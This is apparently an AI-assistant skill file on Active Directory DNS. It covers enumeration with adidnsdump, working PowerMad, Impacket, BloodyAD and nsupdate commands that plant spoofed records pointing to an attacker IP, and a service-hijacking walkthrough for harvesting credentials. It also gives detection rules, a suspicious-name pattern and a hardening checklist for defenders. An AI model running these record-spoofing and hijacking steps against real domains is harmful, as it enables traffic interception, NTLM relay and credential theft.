ad-dns-enumeration

name	ad-dns-enumeration
description	Active Directory DNS enumeration, manipulation, and hardening. Use this skill whenever the user mentions AD DNS, DNS records, zone transfers, adidnsdump, DNS spoofing, WPAD, dynamic DNS updates, or any Active Directory DNS-related reconnaissance or security testing. Also trigger for DNS hardening, detection rules, or when investigating DNS-based attacks in AD environments.

Active Directory DNS Enumeration & Hardening

This skill helps you enumerate, analyze, and harden Active Directory DNS infrastructure. It covers reconnaissance techniques, attack vectors (for defensive understanding), and security hardening recommendations.

When to Use This Skill

Use this skill when you need to:

• Enumerate DNS records in an Active Directory environment
• Understand DNS-based attack vectors in AD
• Harden AD DNS infrastructure
• Investigate DNS-related security incidents
• Create detection rules for DNS abuse
• Test DNS security controls in authorized engagements

Quick Reference

Task	Tool	Command Pattern
Enumerate all DNS records	adidnsdump	adidnsdump -u user ldap://dc-ip -r
List all zones	adidnsdump	adidnsdump --print-zones
Add DNS record (PowerShell)	PowerMad	Invoke-DNSUpdate -DNSType A -DNSName name -DNSData ip
Add DNS record (Python)	Impacket	dnsupdate.py -u user -dc-ip ip -action add -record name -type A -data ip
Add DNS record (BloodyAD)	BloodyAD	bloodyAD dns add A name ip

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1. DNS Enumeration

Understanding the Risk

By default, any authenticated user in Active Directory can enumerate all DNS records in Domain or Forest DNS zones. This is similar to a zone transfer and can expose:

• Internal hostnames and IP addresses
• Service locations (DCs, file servers, application servers)
• Legacy systems and forgotten infrastructure
• Network topology information

Using adidnsdump

adidnsdump is the primary tool for AD DNS enumeration.

Installation

git clone https://github.com/dirkjanm/adidnsdump
cd adidnsdump
pip install .

Basic Enumeration

# Enumerate the default zone and resolve hidden records
adidnsdump -u domain_name\\username ldap://10.10.10.10 -r

# List all available zones (DomainDnsZones, ForestDnsZones, legacy zones)
adidnsdump -u domain_name\\username ldap://10.10.10.10 --print-zones

# Dump a specific zone (e.g., ForestDnsZones)
adidnsdump -u domain_name\\username ldap://10.10.10.10 --zone _msdcs.domain.local -r

# Output as JSON (v1.4.0+)
adidnsdump -u domain_name\\username ldap://10.10.10.10 --json -r

Output Analysis

The tool outputs records to records.csv. Key columns to examine:

• Name: Record name
• Type: A, AAAA, CNAME, SRV, etc.
• Data: IP address or target
• TTL: Time-to-live

Look for:

• SRV records (service locations)
• CNAME records (aliases that may reveal infrastructure)
• Records with unusual naming patterns
• Legacy or deprecated hostnames

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2. DNS Record Manipulation

Understanding the Risk

The Authenticated Users group has Create Child permissions on DNS zones by default. This means any domain account can:

• Register new DNS records
• Modify existing records (if they own them)
• Enable traffic hijacking
• Facilitate NTLM relay attacks
• Potentially achieve domain compromise

Adding DNS Records

Method 1: PowerMad (PowerShell)

Import-Module .\Powermad.ps1

# Add A record
Invoke-DNSUpdate -DNSType A -DNSName evil -DNSData 10.10.14.37 -Verbose

# Add CNAME record
Invoke-DNSUpdate -DNSType CNAME -DNSName alias -DNSData target.domain.local -Verbose

# Delete a record
Invoke-DNSUpdate -DNSType A -DNSName evil -DNSData 10.10.14.37 -Delete -Verbose

Method 2: Impacket dnsupdate.py (Python)

# Add A record via secure dynamic update
python3 dnsupdate.py -u 'DOMAIN/user:password' -dc-ip 10.10.10.10 \
  -action add -record evil.domain.local -type A -data 10.10.14.37

# Delete record
python3 dnsupdate.py -u 'DOMAIN/user:password' -dc-ip 10.10.10.10 \
  -action delete -record evil.domain.local -type A -data 10.10.14.37

Method 3: BloodyAD

# Add A record
bloodyAD -u DOMAIN\\user -p 'password' --host 10.10.10.10 dns add A evil 10.10.14.37

# Add CNAME record
bloodyAD -u DOMAIN\\user -p 'password' --host 10.10.10.10 dns add CNAME alias target.domain.local

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3. Common Attack Vectors

3.1 Wildcard Record Spoofing

Creating a wildcard record (*.<zone>) turns the AD DNS server into an enterprise-wide responder.

Impact:

• Captures NTLM hashes from any query
• Enables NTLM relay to LDAP/SMB
• Requires WINS lookup to be disabled

Detection: Look for wildcard records in zone enumeration output.

3.2 WPAD Hijacking

Adding a wpad record or NS record pointing to attacker infrastructure can proxy HTTP requests.

Impact:

• Harvest credentials from web traffic
• Bypass Global Query Block List (GQBL) with NS records
• CVE-2018-8320 patched wildcard/DNAME bypasses, but NS records still work

Detection: Monitor for wpad, isatap, and wildcard record creation.

3.3 Stale Entry Takeover

Claiming IP addresses from de-registered workstations.

Impact:

• Resource-based constrained delegation attacks
• Shadow Credentials attacks
• No DNS modification needed if record already exists

Detection: Enable DNS scavenging and monitor for record ownership changes.

3.4 DHCP → DNS Spoofing (DDSpoof)

Unauthenticated attackers on the same subnet can overwrite A records via forged DHCP requests.

Impact:

• Machine-in-the-middle over Kerberos/LDAP
• Can target Domain Controllers
• Full domain takeover potential

Detection: Monitor DHCP server logs and DNS update events.

3.5 Certifried (CVE-2022-26923)

Changing dNSHostName of a controlled machine account and requesting certificates.

Impact:

• Impersonate Domain Controllers
• Decrypt LDAP traffic
• Full domain compromise

Tools: Certipy, BloodyAD automate this attack.

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4. Service Hijacking Case Study

NATS Service Hijacking Pattern

When dynamic updates are open to authenticated users, de-registered service names can be re-claimed.

Step-by-Step Pattern

1. Confirm record is missing:

   dig @dc01.domain.local service-name.domain.local
   

2. Re-create the record:

   nsupdate
   > server 10.10.10.10
   > update add service-name.domain.local 300 A 10.10.14.2
   > send
   

3. Impersonate the service:

   • Capture legitimate service banner
   • Replay to victims
   • Harvest credentials from plaintext protocols

4. Pivot with captured credentials:

   • Access internal services
   • Extract additional secrets
   • Move laterally

Applicable to: HTTP APIs, RPC, MQTT, and any service with unsecured TCP handshakes.

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5. Detection & Hardening

5.1 Access Control

# Deny Authenticated Users from creating child objects on sensitive zones
# Delegate dynamic updates to a dedicated DHCP account

Recommendations:

• Deny Authenticated Users the Create all child objects right on sensitive zones
• Delegate dynamic updates to a dedicated account used by DHCP
• Use least-privilege principles for DNS management

5.2 Zone Configuration

If dynamic updates are required:

• Set zone to Secure-only
• Enable Name Protection in DHCP
• Only the owner computer object can overwrite its own record

5.3 Monitoring

Key Event IDs to monitor:

• 257/252: Dynamic update events
• 770: Zone transfer attempts
• LDAP writes to CN=MicrosoftDNS,DC=DomainDnsZones

SIEM Rules:

# DNS Record Creation Alert
- event_id: 257
  source: DNS Server
  condition: "New record created by non-DHCP account"
  severity: medium

# Zone Transfer Alert
- event_id: 770
  source: DNS Server
  condition: "Zone transfer requested"
  severity: high

# Suspicious Record Names
- pattern: "(wpad|isatap|\*)"
  source: DNS Server
  condition: "Record name matches suspicious pattern"
  severity: high

5.4 Blocklist Dangerous Names

Block these names with intentionally-benign records or via Global Query Block List:

• wpad
• isatap
• * (wildcard)
• ms-wpad
• pki (if not needed)

5.5 Patch Management

Critical DNS Server CVEs:

• CVE-2024-26224: RCE, CVSS 9.8
• CVE-2024-26231: RCE, CVSS 9.8
• CVE-2022-26923: Certifried certificate impersonation
• CVE-2018-8320: WPAD bypass

Action: Keep DNS servers patched and monitor for new vulnerabilities.

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6. Quick Hardening Checklist

• Set zones to Secure-only dynamic updates
• Enable Name Protection in DHCP
• Deny Authenticated Users create child objects on sensitive zones
• Block dangerous names (wpad, isatap, *)
• Enable DNS scavenging with appropriate no-refresh/refresh intervals
• Monitor event IDs 257, 252, 770
• Keep DNS servers patched
• Audit DNS zone permissions quarterly
• Implement DNS query logging
• Consider DNSSEC for critical zones

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References

• adidnsdump GitHub
• Getting in the Zone - Dumping AD DNS
• ADIDNS Revisited - WPAD, GQBL and More
• Akamai DDSpoof Research
• HackTheBox Mirage Writeup